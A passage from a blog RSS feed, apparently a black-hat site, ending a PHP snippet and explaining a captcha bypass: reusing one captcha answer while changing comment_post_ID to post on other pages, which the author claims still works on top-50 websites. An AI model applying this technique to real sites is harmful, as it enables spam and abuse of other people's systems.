<div class="de1"><span class="kw1">while</span> <span class="br0">&#40;</span>!<a href="http://www.php.net/feof"><span class="kw3">feof</span></a><span class="br0">&#40;</span><span class="re0">$fp</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$d</span> = <a href="http://www.php.net/fgets"><span class="kw3">fgets</span></a><span class="br0">&#40;</span><span class="re0">$fp</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="re0">$d</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/fclose"><span class="kw3">fclose</span></a><span class="br0">&#40;</span><span class="re0">$fp</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
</div>
<p>So I changed the comment_post_ID parameter, which means I posted a comment on another page/blog, but I still kept using the same captcha answer. A lot of systems are vulnerable to this technique, I have been using this very same technique on alexa top 50 websites and they still are vulnerable after all these months.</p>
<p>I hope all of this makes sense. If not, please leave a comment and I&#8217;ll do my best to explain.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.blackhatfun.com/?feed=rss2&amp;p=3</wfw:commentRss>
		</item>
	</channel>
</rss>
